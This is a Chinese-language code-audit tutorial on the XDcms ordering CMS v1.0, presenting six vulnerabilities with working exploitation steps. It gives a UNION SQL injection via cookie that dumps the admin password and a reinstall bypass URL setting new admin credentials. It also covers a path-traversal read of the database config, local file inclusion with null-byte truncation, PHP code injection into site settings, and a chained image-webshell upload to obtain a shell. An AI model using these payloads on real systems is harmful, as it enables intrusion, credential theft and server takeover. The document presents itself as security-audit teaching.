分析目标
XDcms订餐网站系统 v1.0
XDcms订餐网站管理系统,主要使用Php+Mysql+Smarty技术基础进行开发,采用OOP(面向对象)方式进行基础运行框架搭建,集成在线订 餐、团购、积分商城、优惠券、新闻、在线订单、在线支付、生成订单短信/邮箱通知、点评、Google电子地图、问答、并与支付宝、Dz论坛、短信平台接 口完美整合等功能于一体的完全开源的高级订餐网站管理系统。作为国内最受欢迎的PHP类订餐网站系统之一,XDcms在不断提升用户服务、提高产品质量的 同时更加注重用户体验。从系统研发至今,历经了数百次的更新修改后,网站的架设与管理变得更加轻松及便捷。
官网:http://www.xdcms.cn/
下载地址:http://ftp.91736.com/dccms/v1.0/sys/xdcms_dc_v1.0.zip
您将学习到的案例有
1、 COOKIES 注入代码分析与漏洞利用(利用工具的使用);
2、 全局变量的覆盖代码分析与漏洞利用;
3、 后台任意源码读取;
4、 本地包含代码分析与漏洞利用;
5、 后台getshell 代码分析 与利用;
6、利用二次漏洞拿shell。
案例1
COOKIES注入分析 (为了方便区别代码部分采用贴图,实例代码请大家自己下载源码查看)
文件:/ system/modules/member/index.php
代码:
$userid=$_COOKIE[‘member_userid’]; //用$_COOKIE接收,未做任何过滤
$info=$this->mysql->get_one(“select * from “.DB_PRE.”member whereuserid
=$userid”);
//直接带入到sql中查询。没有单引号不用考虑GPC
利用工具:
火狐浏览器 + EDIT COOKIES插件(下载地址请百度)
利用方法/步骤:
1、/index.php?m=member&f=register 随便注册一个账号并登录;
2、/index.php?m=member&f=edit 进入资料管理页面
3、在浏览器上选择工具 -> EDIT COOKIES插件打开
因为是本地测试所以IP地址为127.0.0.1 找到member_userid -> 点 EDIT进行编辑
语句:-6 Union seLect 1,2,username,4,5,6,7,8,9,10,11,12,password,14,15 fRom c_admin
-6这个6是你的ID
然后刷新一下直接爆出管理员密码
前几天发的那个今天发现管理员修补了,可是管理员这补的根没补是一样的。
案例二
全局变量的覆盖
文件:/ install/index.php
代码:
代码的意思是把传入的变量数组遍历赋值,比如 $_GET[‘a’] 赋值为 $a
Ok 继续往下看
传入一个insLockfile判断是否存在。问题在这
利用方法:http://www.91ri.org /install/index.php?insLockfile=1 ( 官网演示之)
将直接跳过判断进行安装。
此时安装的sql数据库文件会记录在 /data/config.inc.php
利用poc:找到可外连的 mysql (自己去爆破)
直接访问此地址
http://www.91ri.org /install/index.php?insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&dbpwd=&dbpre=c_&dblang=gbk&adminuser=yaseng&adminpwd=90sex
加粗部分填写配置 直接绕过 重装
案例三
后台任意源码读取
漏洞文件:system/modules/xdcm/stemplate.php
初看了下后台木有getShell 的地方,ok 还是来老实审计代码吧。
在xdcms 目录下看到鸟 template 文件,目测是后台模板编辑,访问之
http://127.0.0.1/coder/xdcms/index.php?m=xdcms&c=template
额 xdcms 真心有些贱了,写了模板编辑后台又不实用
访问 http://www.91ri.org/ coder/xdcms/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php
Mysql 连接信息
案例4
本地包含漏洞
文件:/api/index.php
代码:
问题参数$c 有一个safe_replace函数我们追踪一下看看
这个等于没过滤一样的。
利用方法:http://www.91ri.org /api/index.php?c=xxxxxx%00 xxx代表网马地址%00是截断
案例5
后台getshell 代码分析
文件:/ system/modules/xdcms/ setting.php
代码:
又是用foreach来数组遍历附值。这里的$info[‘siteurl’]是没有经过处理就直接写进来了。
利用方法:/index.php?m=xdcms&c=setting
测试我就只加了这个phpinfo ‘);?><?php phpinfo();?>
效果
因为有单引号,所以这个方法有点鸡肋。
案例6
利用二次漏洞利用配合拿shell
思路:结合案例4的本地包含。再在后台上传一张图片马直接拿下。
效果:
图片马的内容
上传后得到的地址:/uploadfile/image/20120624/xxxxx.jpg
http://127.0.0.1/xxoo/api/index.php?c=../uploadfile/image/20120624/iis7.jpg%00
好了直至到此,代码审计的初级教材也算完结了。
本教材归总一下就是、注入、变量覆盖、任意读取、本地包含、GETSHELL、二次漏洞(也可以叫二次利用)
91ri.org:非常好的一篇代码审计文 我自己本身最近就在研究PHP的代码审计 这文章学习不少 推荐新人仔细阅读!另两篇同类挖0day文章推荐一下:《[挖0day] BlueCMS漏洞大集合》《[挖0day]羊驼CMS 注入及getwebshell》